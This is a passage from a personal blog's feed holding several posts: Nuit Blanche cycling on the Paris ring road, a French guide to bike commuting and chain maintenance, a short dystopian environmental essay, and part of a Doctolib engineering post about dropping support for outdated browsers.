&lt;li&gt;&lt;a href="https://www.huffingtonpost.fr/entry/nuit-blanche-paris-velo-periph_fr_5d999b40e4b0fc935edb6102"&gt;Nuit blanche: À Paris, le périph' pris d'assaut par les cyclistes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lemonde.fr/blog/transports/2019/10/06/nuit-blanche-on-a-pedale-sur-le-periph/"&gt;Nuit blanche: on a pédalé sur le périph.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.isabelleetlevelo.fr/2019/10/06/peripherique-nuit-blanche-velodrome-velos-2019/"&gt;Epopée pour une nuit blanche&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Comme le dit Isabelle Lesens dans son article cité juste au-dessus, c'est une première expérience en demi-teinte : l'accès y était difficile et le parcours était trop petit. Cela ne m'a tout de même pas empêché de faire plusieurs tours pendant une bonne heure, fasciné par le nombre de personnes et leur enthousiasme. Par ailleurs, une amélioration nette de la qualité de l'air s'est immédiatement faite ressentir et a pu être &lt;a href="https://twitter.com/Airparif/status/1180469790118428672"&gt;mesurée par Airparif&lt;/a&gt;.&lt;/p&gt;
&lt;div style="display:flex;justify-content:center"&gt;
    &lt;blockquote class="twitter-tweet"&gt;&lt;p lang="fr" dir="ltr"&gt;[Carte temps réel] les effets de la fermeture d&amp;#39;une partie du périphérique pour les &lt;a href="https://twitter.com/hashtag/NuitBlanche2019?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#NuitBlanche2019&lt;/a&gt; observés en temps réel par &lt;a href="https://twitter.com/Airparif?ref_src=twsrc%5Etfw"&gt;@airparif&lt;/a&gt; &lt;br&gt;👉 &lt;a href="https://t.co/JbTnsHxNbB"&gt;https://t.co/JbTnsHxNbB&lt;/a&gt; &lt;a href="https://t.co/URuAinLebU"&gt;pic.twitter.com/URuAinLebU&lt;/a&gt;&lt;/p&gt;&amp;mdash; Airparif (@Airparif) &lt;a href="https://twitter.com/Airparif/status/1180469790118428672?ref_src=twsrc%5Etfw"&gt;October 5, 2019&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt; 
&lt;/div&gt;

&lt;p&gt;Il ne nous reste plus qu'à espérer que cette expérience se renouvelle et ouvre la réflexion à &lt;a href="http://www.leparisien.fr/info-paris-ile-de-france-oise/transports/paris-velos-bus-covoiturage-le-peripherique-roule-vers-le-futur-04-10-2019-8165862.php"&gt;la transformation du périphérique&lt;/a&gt;, voire même &lt;a href="http://www.leparisien.fr/paris-75/paris-voici-ce-qu-imagine-gaspard-gantzer-pour-remplacer-le-peripherique-23-05-2019-8078337.php"&gt;sa suppression&lt;/a&gt; ?&lt;/p&gt;</content><category term="Bikes"></category><category term="nuit blanche"></category><category term="paris"></category><category term="bike"></category></entry><entry><title>Living In Paris: La Bible Du Vélotafeur</title><link href="https://romainpellerin.eu/living-in-paris-la-bible-du-velotafeur.html" rel="alternate"></link><published>2019-09-03T23:30:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-09-03:/living-in-paris-la-bible-du-velotafeur.html</id><summary type="html">&lt;p&gt;Vélo + taf = vélotaf &amp;lt;3&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Ceci est la suite de &lt;a href="https://romainpellerin.eu/living-in-paris-riding-a-bike-in-paris.html"&gt;Riding A Bike In Paris&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Cet article a pour but d'être la bible ultime de référence du vélotafeur bobo écolo radin parisien !!! Les livres qu'il faut avoir lu, les films à avoir vu, les chaînes Youtube à suivre, les comptes Twitter à lire, les podcasts à écouter, comment réparer son vélo, les magasins à connaître, des liens à gogo, tout sur le vélotaf à Paris est ici !&lt;/p&gt;
&lt;h1 id="livres"&gt;Livres&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://romainpellerin.eu/extra/Paris_HS_Velo_Juin-2019.pdf"&gt;Paris - Hors Série Juin 2019 - À vélo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.editions-dalloz.fr/le-code-du-cycliste.html"&gt;Le code du cycliste&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://parisenselle.fr/guide-amenagements-cyclables-paris-en-selle/"&gt;Le Guide des aménagements cyclables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.fr/dp/2072827701/"&gt;Vélotaf: Mode d'emploi du vélo au quotidien&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="films"&gt;Films&lt;/h1&gt;
&lt;p&gt;Une petite sélection de films et documentaires sur le vélo à voir et à revoir :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://whywecycle.eu/"&gt;Why We Cycle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.bikes-vs-cars.com/"&gt;Bikes vs Cars&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.velotopia.fr/"&gt;Velotopia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://urbancyclinginstitute.com/library-of-cycling-documentaries/"&gt;More videos here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="chaines-youtube-comptes-twitter-et-podcasts"&gt;Chaines Youtube, comptes Twitter et podcasts&lt;/h1&gt;
&lt;p&gt;La vélosphère est petite à Paris et c'est souvent les mêmes têtes qui ressortent un peu partout. Entre militants de la première heure et étudiants amateurs de vidéos en passant par des élus, on trouve de tout.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Observations Cyclistes : &lt;a href="https://www.youtube.com/c/ObservationsCyclistes"&gt;Youtube&lt;/a&gt; + &lt;a href="https://twitter.com/OCyclistes"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cinquante Euros : &lt;a href="https://www.youtube.com/channel/UC8rE-HbmlCjj_xWwPm13grQ"&gt;Youtube&lt;/a&gt; + &lt;a href="https://twitter.com/50_euros"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CyclObs : &lt;a href="https://www.youtube.com/channel/UCfytFPh4b0SIE0HsbPEXlUw"&gt;Youtube&lt;/a&gt; + &lt;a href="https://twitter.com/Cycl_Obs"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cycliste Urbain : &lt;a href="https://twitter.com/CyclisteUrbain"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Bilook le cycliste : &lt;a href="https://twitter.com/BilookVT"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Not Just Bikes : &lt;a href="https://twitter.com/notjustbikes"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Paris en Selle : &lt;a href="https://twitter.com/ParisEnSelle"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Abel Guggenheim : &lt;a href="https://twitter.com/cyclAbel"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Isabelle Lesens : &lt;a href="https://twitter.com/isaduvelo"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Stein van Oosteren : &lt;a href="https://twitter.com/LCyclable"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ailes cyclables : &lt;a href="https://twitter.com/AilesCyclables"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Paris sans voiture : &lt;a href="https://twitter.com/parisansvoiture"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Christophe Najdovski : &lt;a href="https://twitter.com/C_Najdovski"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;FUB : &lt;a href="https://twitter.com/FUB_fr"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ras Le Scoot : &lt;a href="https://twitter.com/RasLeScoot"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Le Bon Sens c’est le vélo : &lt;a href="https://twitter.com/LeBonSens10"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;🚲àParis&amp;amp;alive... : &lt;a href="https://twitter.com/Marredescons2"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CycloTransEurope : &lt;a href="https://twitter.com/eurovelo3"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vélorution Paris IdF : &lt;a href="https://twitter.com/velorutionParis"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;135€ : &lt;a href="https://twitter.com/135euros"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Brice Perrin : &lt;a href="https://twitter.com/briceperrin"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cause-commune.fm/podcastfilter/rayons-libres/"&gt;Rayons Libres&lt;/a&gt;, un podcast proposé par Abel Guggenheim avec plein d'invités variés. Très intéressant !&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.pausevelo.com"&gt;Pause Vélo&lt;/a&gt;, un autre podcast très sympa (+ le &lt;a href="https://twitter.com/PauseVelo"&gt;Twitter qui va bien&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cyclocast.fr/"&gt;Cyclocast&lt;/a&gt;, un podcast qui nous vient de Lyon.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://anchor.fm/danslateteduncycliste"&gt;Dans la Tête d'un Cycliste&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="customization"&gt;Customization&lt;/h1&gt;
&lt;h2 id="peindre-son-velo"&gt;Peindre son vélo&lt;/h2&gt;
&lt;p&gt;Il existe une marque qui commercialise des bombes de peinture spéciales pour vélo : &lt;a href="https://spray.bike/"&gt;Spray.Bike&lt;/a&gt;. Cela ne semble pas très dur, il me reste encore à essayer. D'après &lt;a href="https://www.youtube.com/watch?v=N-zWhFou4Wo"&gt;cette vidéo&lt;/a&gt; il faut :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Démonter &lt;strong&gt;entièrement&lt;/strong&gt; le vélo et enlever toutes les pièces du cadre.&lt;/li&gt;
&lt;li&gt;Poncer le cadre en partant d'un gros grain (P60 par exemple) et finir avec un grain fin pour éviter les irrégularités dans le poncage (P320 par exemple).&lt;/li&gt;
&lt;li&gt;Appliquer une première couche en portant un masque, laisser sécher quelques heures et appliquer une deuxième couche, voire une troisième.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je mettrai à jour l'article quand j'essaierai.&lt;/p&gt;
&lt;h1 id="entretien"&gt;Entretien&lt;/h1&gt;
&lt;h2 id="nettoyer-une-chaine-de-velo"&gt;&lt;a href="https://www.youtube.com/watch?v=_xiK81FGtz8"&gt;Nettoyer une chaine de vélo&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;En résumé :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Passer un coup de chiffon sur toute la chaine pour enlever la cambouis&lt;/li&gt;
&lt;li&gt;Asperger de dégraissant (WD40 classique ou &lt;a href="https://www.wd40.com/products/wd-40-bike-degreaser/"&gt;WD40 BIKE&lt;/a&gt; (&lt;a href="https://www.amazon.fr/dp/B00URGEYZY"&gt;Amazon&lt;/a&gt;)), soit directement sur la chaine soit sur un chiffon, et faire tourner la chaine, en passant les vitesses plusieurs fois.&lt;/li&gt;
&lt;li&gt;Compléter le nettoyage en même temps avec une brosse à dents usagée pour bien passer au centre de la chaine, dans les pignons et le pédalier.&lt;/li&gt;
&lt;li&gt;Laisser sécher ou essuyer avec un chiffon. Le WD40 n'a pas besoin d'être rincé à l'eau.&lt;/li&gt;
&lt;li&gt;Appliquer du lubrifiant (je recommande le &lt;a href="https://www.squirtcyclingproducts.com/"&gt;SQUIRT CHAIN LUBE 120ML&lt;/a&gt; (&lt;a href="https://www.amazon.fr/dp/B00ANNR15G"&gt;Amazon&lt;/a&gt;), c'est celui que j'ai et j'ai lu un peu partout que c'était le meilleur) dans l'intérieur de la chaine. Autrement dit, sur le haut de la partie basse de la chaine, de façon à ce que le produit soit le plus possible en contact avec les pignons et le pédalier. Faire tourner la chaine et passer les vitesses plusieurs fois.&lt;/li&gt;
&lt;li&gt;Essuyer le trop plein de lubrifiant avec un chiffon.&lt;/li&gt;
&lt;li&gt;Il est recommandé de laisser plusieurs heures passer entre la lubrification et un usage du vélo.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lubrification"&gt;&lt;a href="https://www.provelo.org/fr/page/points-lubrification-un-velo"&gt;Lubrification&lt;/a&gt;&lt;/h2&gt;
&lt;h2 id="tension-de-la-chaine"&gt;Tension de la chaîne&lt;/h2&gt;
&lt;p&gt;En plus d'avoir une chaîne propre bien lubrifiée, il est important de vérifier la tension de la chaîne en permanence si l'on a un fixie ou single speed. Une chaîne sous tendue aura tendance à dérailler ou craquer, trop tendue elle s'abimera et rendra le pédalage moins efficace.&lt;/p&gt;
&lt;h1 id="liens-utiles"&gt;Liens utiles&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.velotaf.com/"&gt;Vélotaf.com&lt;/a&gt; : le site où tout a commencé&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fub.fr/"&gt;Fédération française des usagers de la bicyclette&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mdb-idf.org/"&gt;Mieux se Déplacer à Bicyclette&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://parisenselle.fr/"&gt;Paris en Selle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://velorution.org/"&gt;Vélorution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://frerelaroute.wordpress.com/2017/09/27/filmer-ses-deplacements-a-velo-quelles-raisons-quel-materiel/"&gt;Filmer ses déplacements à vélo – quelles raisons, quel matériel ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.leparisien.fr/info-paris-ile-de-france-oise/transports/velo-en-ville-ces-infractions-punies-de-135-euros-d-amende-25-03-2019-8039439.php"&gt;Vélo en ville : ces infractions méconnues qui peuvent vous coûter cher&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.eurovelo.com/en/eurovelos"&gt;EuroVelo routes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.geovelo.fr"&gt;Geovelo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.google.com/maps/d/u/0/viewer?mid=1CErJyDx0ZZ7B_VXAogUZZOMmg_Q&amp;amp;ll=48.85420563783393%2C2.383602984646245&amp;amp;z=16"&gt;Petite carte avec les informations pratiques pour tout livreur à vélos qui se respecte à Paris&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="shops"&gt;Shops&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.beastybike.com/"&gt;www.beastybike.com/&lt;/a&gt; : ils ont des boutiques physiques à Paris mais sont un peu chers&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lecyclo.com/"&gt;www.lecyclo.com/&lt;/a&gt; : pièces très peu chères, ils ont un magasin avec pignon sur rue à Marseille&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.probikeshop.fr/"&gt;www.probikeshop.fr/&lt;/a&gt; : de qualité et relativement peu cher&lt;/li&gt;
&lt;li&gt;Le bon vieux Décathlon pour tout ce qui est chambres à air, rustines, etc&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="autres"&gt;Autres&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/cities/2019/jun/28/a-cyclists-guide-to-biking-the-city-a-cartoon"&gt;A cyclist's guide to biking the city – a cartoon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.velotaf.com/topic/28351-des-conseils-pour-debuter-en-velotaf/"&gt;Des conseils pour débuter en vélotaf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wiklou.org/wiki/Le_v%C3%A9lo_en_musique"&gt;Le vélo en musique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=y4JzaaNmZsE"&gt;Le langage des signes cycliste&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cyclingboardgames.net/cyclogames.htm"&gt;CYCLING BOARD GAMES&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="velotaf"></category></entry><entry><title>I Was Born In 2100</title><link href="https://romainpellerin.eu/i-was-born-in-2100.html" rel="alternate"></link><published>2019-08-05T23:50:00+02:00</published><updated>2019-09-04T21:36:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-08-05:/i-was-born-in-2100.html</id><summary type="html">&lt;p&gt;A Short Essay&lt;/p&gt;</summary><content type="html">&lt;p&gt;I was born in 2100.&lt;/p&gt;
&lt;p&gt;A long time ago, long before I was born, people used to smoke. The very concept of smoking is unknown to many these days, so let me explain. It's as stupid as eating small rocks, or wood maybe. But it's not that. It was dried tobacco leaves. It would hurt a little the first time people would do it, and even make them caugh. But then, as they kept trying, the pain would eventually fade away. After some time, they might even start to feel some joy when doing it. Or maybe they pretended to and forced themselves to believe it. Or maybe it's the social pressure, people did't really why know but they kind of liked it. Or maybe it was the ads in the 70's and 80's. People used to "go on a cigarette break". Except that smoking does your body no good whatsoever. Quite the opposite to be honest. Smoking was killing people so slowly that most people would not even acknowledge it. They would doubt it, refute it.&lt;br&gt;
People were stupid.&lt;/p&gt;
&lt;p&gt;A long time ago, long before I was born, people used to move around in big boxes made of steel. They called it a car. Not only did a car take up a lot of space, it also was powered with gasoline (refined crude oil, something that's long gone now). Gas cars used to cause a lot of pollution, especially in big cities. That was bad. Real bad you know. In the 20th century, in less than a few decades, all cities changed and turned into car-centric cities: everything was designed around and for cars, not for humans. People were forced to walk on narrow sidewalks. They also had to endure noise, mostly from passing cars. If that wasn't enough, the only air they could breathe was extremely polluted, causing over &lt;a href="https://www.eea.europa.eu/media/newsreleases/many-europeans-still-exposed-to-air-pollution-2015/premature-deaths-attributable-to-air-pollution"&gt;400,000 premature deaths in Europe in 2015&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A long time ago, long before I was born, people used to eat animals. You read it right, A-N-I-fucking-M-A-L-S. Not only wild ones. Actually, most of the eaten animals were raised in farms and fed with antibiotics. Some of them never saw the sunlight. People were slaughtering them: over 60,000,000,000 land animals were killed EVERY SINGLE YEAR in the 2000's. When it comes to sea animals, the figures were much worse... There were the hunters too, pretending to protect the environment and restoring some kind of balance. As if nature needed us for that...&lt;/p&gt;
&lt;p&gt;A long time ago, long before I was born, people used to cut down trees (mostly forests) to make room for crop fields... to feed animals which would in turn... feed humans. What a stupidity. No wonder CO2 levels rose exponentially.&lt;/p&gt;
&lt;p&gt;A long time ago, long before I was born, people used to worship plastic. Plastic was everywhere, all the time. Single-use plastic was a thing for sure. Plastic bottles, plastic spoons, plastic cups, plastic toys. A shit ton of plastic ended its course in oceans. It played a major role in the decline of sea animals.&lt;/p&gt;
&lt;p&gt;A long time ago, long before I was born, people used to care more about jobs than they cared about the environment. Transitioning the car industry from oil to electricity? Too many people said "&lt;em&gt;it's gonna destroy jobs cause electric engines require much less parts and workforce&lt;/em&gt;". It's exactly like keeping your job and then the day you retire your house gets burned down versus giving up your job and starting looking for another one but knowning that the day you retire your house will still be there. &lt;a href="https://www.thenation.com/article/jobs-vs-environment-how-counter-divisive-big-lie/"&gt;Jobs vs the Environment&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;But all of that is gone now, people don't do that no more. Everyone's fucking dead. Humans. Animals. Forests. Everything is gone. The planet is barely fit to live. Our unsustainable way of life killed us all. Those who remain live harsh lifes. Every day is a fight for survival, for food, for clean water, for power. Most lands people inhabited are underwater now, as the sea level is much higher than in the early 2000's.&lt;/p&gt;
&lt;p&gt;It all changed at the end of the last century. The global population was reaching its peak: 10,500,000,000. In less than 20 years, the global average temperature rose by 1.5 Celsius degrees, by far exceeding the worst projections made in the beginning of the century. The Great Global Warming (GGW as they call it these days) was true after all.&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="environment"></category><category term="world"></category><category term="pollution"></category><category term="politics"></category></entry><entry><title>Supporting Internet Explorer 11 in 2019</title><link href="https://romainpellerin.eu/supporting-internet-explorer-11-in-2019.html" rel="alternate"></link><published>2019-07-15T14:30:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-07-15:/supporting-internet-explorer-11-in-2019.html</id><summary type="html">&lt;p&gt;Following the recent publication of A Conspiracy To Kill IE6, we at Doctolib thought we’d in turn unveil our plan to stop supporting not only Internet Explorer 11 but also other outdated desktop…&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://medium.com/doctolib/supporting-internet-explorer-11-in-2019-12dc1f1ebc3c"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Following the recent publication of &lt;a href="https://blog.chriszacharias.com/a-conspiracy-to-kill-ie6"&gt;A Conspiracy To Kill IE6&lt;/a&gt;, we &lt;a href="https://www.doctolib.com/"&gt;at Doctolib&lt;/a&gt; thought we’d in turn unveil our plan to stop supporting not only Internet Explorer 11 but also other outdated desktop browser versions, and help the world move towards a faster and more secure web. Everything that follows took place between March 2019 and July 2019.&lt;/p&gt;
&lt;p&gt;In late March 2019 Doctolib had over 80,000 paying customers. They are physicians and specialists working in private practices, hospitals, healthcare centers or even at home. They use all kinds of devices and browsers. Some devices are privately owned, some are provided by employers and some are even shared and used by many people throughout the day. As a consequence, it is impossible for us to predict with certainty what browsers our customers will use.&lt;/p&gt;
&lt;p&gt;Moreover, most public healthcare institutions (hospitals, for example) manage their computers like they do in schools or governments. All regular users are not administrators, they only have restricted permissions. They can’t install software or decide which browser they use. Upgrade-wise, their IT departments tend to update the OS and browsers every 1 to 2 years. Privacy is also a much bigger concern for most of them, so they usually favor Firefox over Chrome, and sometimes IE 11 or Edge for compatibility reasons. Last but not least, they’re big on Firefox Extended Support Release (ESR) versions (for a reason, &lt;a href="https://www.mozilla.org/en-US/firefox/organizations/"&gt;it comes with long term support&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In light of this, here’s what Doctolib’s browser market share looked like in March 2019.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/supporting-internet-explorer-11-in-2019/browsers-share.png" alt="Historical browser market share for Doctolib customers week by week" /&gt;
&lt;figcaption&gt;Historical browser market share for Doctolib customers week by week&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The graph shows unique browser connections per week. As one can see, Internet Explorer 11 users represent on average between 2.5 and 3.5% of all users. Among our Chrome and Firefox users, some users rely on outdated versions, sometimes more than 4-year-old versions. Same goes for Safari, with pretty stable curves not showing any signs of decline.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/supporting-internet-explorer-11-in-2019/safari.png" alt="Historical Safari browser market share for Doctolib customers day by day up until March 2019" /&gt;
&lt;figcaption&gt;Historical Safari browser market share for Doctolib customers day by day up until March 2019&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;So what’s the big deal?&lt;/p&gt;
&lt;h1 id="cost-of-supporting-old-browsers"&gt;Cost of supporting old browsers&lt;/h1&gt;
&lt;p&gt;The more browsers a company decides to support, the more problems it brings. At Doctolib, we identified the following specific problems:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Old browsers only understand ECMAScript 5. Like most modern web applications, we have &lt;strong&gt;a lot&lt;/strong&gt; of JavaScript dependencies. Each dependency upgrade must be checked to make sure it doesn’t contain untranspiled code. &lt;strong&gt;That’s time wasted.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Our app is built with Ruby on Rails and React. Our JavaScript code is bundled in two different ways, depending on the files and where in the app it runs: the &lt;a href="https://guides.rubyonrails.org/asset_pipeline.html"&gt;RoR asset pipeline&lt;/a&gt; or Webpack. The code processed by the asset pipeline does not go through Babel, as opposed to the one bundled by Webpack. Therefore we can’t write modern JavaScript in all our JavaScript files yet*. &lt;strong&gt;That’s time wasted writing and code reviewing old-fashioned JavaScript&lt;/strong&gt; *(we have a work-in-progress project for using Babel with RoR).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Our 10,000+ integration tests are executed with the latest version of Chrome. Nonetheless, since we support multiple browsers, we also have a few simple additional integration tests that run on IE11 as well as outdated Edge, Firefox and Safari browsers. These extra tests &lt;strong&gt;cost time&lt;/strong&gt; (developers waiting for CI tests to complete) and &lt;strong&gt;money&lt;/strong&gt; (tests run time on Heroku). &lt;strong&gt;They also require extra maintenance.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Last but far from least, we’ve had several &lt;strong&gt;production issues&lt;/strong&gt; in the last 6 months caused by untranspiled NPM dependencies not working in old browsers. That’s &lt;strong&gt;user dissatisfaction and time wasted for engineers&lt;/strong&gt;. Plus, each production issue is immediately followed by a detailed &lt;strong&gt;postmortem&lt;/strong&gt; which oftentimes means a full day of work for an engineer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On a side note, supporting multiple browsers creates bigger JavaScript bundles because code transpiled through Babel is usually bigger and polyfills take space. It slightly increases compile time, bandwidth consumption, and JavaScript load/parse times.&lt;/p&gt;
&lt;p&gt;Knowing this, in a perfect world we’d only support the latest version of each browser, Internet Explorer 11 excluded of course. But that is not possible.&lt;/p&gt;
&lt;h1 id="limitations"&gt;Limitations&lt;/h1&gt;
&lt;p&gt;Why is it so hard to have all of our customers upgrade their browsers? Why can’t we just display a banner, or send them an email, threatening to drop support for outdated browsers, and eventually do it?&lt;/p&gt;
&lt;p&gt;Well, there are many good reasons. First, healthcare professionals are generally not computer savvy. Computers are a tool, a means to them, not an end. They don’t want to have to worry about upgrades or browser versions.&lt;/p&gt;
&lt;p&gt;Also, as written in the introductory paragraph, people working in health establishments have no control over what browser they run. Budget and time constraints prevent these organizations from providing their employees with the latest computers, or prevent them from upgrading software on a regular basis. Also, some organizations are more concerned about privacy than others and thus insist on running specific browsers. Finally, some organizations sometimes use Internet Explorer because they also use other websites which require ActiveX for instance.&lt;/p&gt;
&lt;p&gt;There are multiple valid reasons for running old and outdated browsers. And multiple reasons for being unable to upgrade regularly. That’s why we can’t just cut off access to these users overnight.&lt;/p&gt;
&lt;h1 id="master-plan-aka-conspiracy"&gt;Master Plan (aka Conspiracy)&lt;/h1&gt;
&lt;p&gt;To kickstart the move towards up-to-date browsers, in March 2019 we came up with a very detailed plan, spanning over several months. When the idea arose for this plan, we were supporting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Safari 6+&lt;/li&gt;
&lt;li&gt;All Edge browsers&lt;/li&gt;
&lt;li&gt;Chrome 50+&lt;/li&gt;
&lt;li&gt;Firefox 27+&lt;/li&gt;
&lt;li&gt;Internet Explorer 11&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The ultimate goal is to support only the following browsers and publicly advertise about it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Safari 12+&lt;/li&gt;
&lt;li&gt;Edge 17+&lt;/li&gt;
&lt;li&gt;Chrome 50+&lt;/li&gt;
&lt;li&gt;Firefox 45+ (version 45 in an ESR)&lt;/li&gt;
&lt;li&gt;No Internet Explorer version at all&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In other words, we want users of unsupported browsers to be fully aware of that.&lt;/p&gt;
&lt;p&gt;How did we set this in motion?&lt;/p&gt;
&lt;p&gt;The whole plan is based on displaying a banner at the right time, to the right users, progressively over time. The banner explains that the browser is no longer supported and gives links to Chrome or Firefox upgrade help pages. The banner can be hidden for 5 days before appearing again.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/supporting-internet-explorer-11-in-2019/red-banner.png" alt="The top red banner we display on outdated browsers" /&gt;
&lt;figcaption&gt;The top red banner we display on outdated browsers&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;We started off with Safari. Why is that? Users who run Safari most likely run Mac and thus use their own device, meaning they’re admin. Public healthcare centers or hospitals never run Apple devices in France or Germany. Plus Safari users are less than 10% of our users, so we thought it’d be quick to have these users upgrade to a newer version of Safari, or switch to Chrome or Firefox. Over the month of April, once or twice a week we increased the minimum supported version of Safari until we reached 12 (the latest stable version at the time of writing). Every few days, a new batch of users would be shown the banner. First, Safari 6 users would see the banner, then three days later Safari 7 users would also, and so on, until all users of Safari 11 or below saw the banner.&lt;/p&gt;
&lt;p&gt;Over time, we could see the number of users for these unsupported versions significantly decreasing, while seeing Safari 12 slowly but surely rising. It did not work as well as expected though, some users probably don’t care too much about seeing a banner that can be closed anyway.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/supporting-internet-explorer-11-in-2019/safari-2.png" alt="Usage of unsupported Safari versions among Doctolib customers" /&gt;
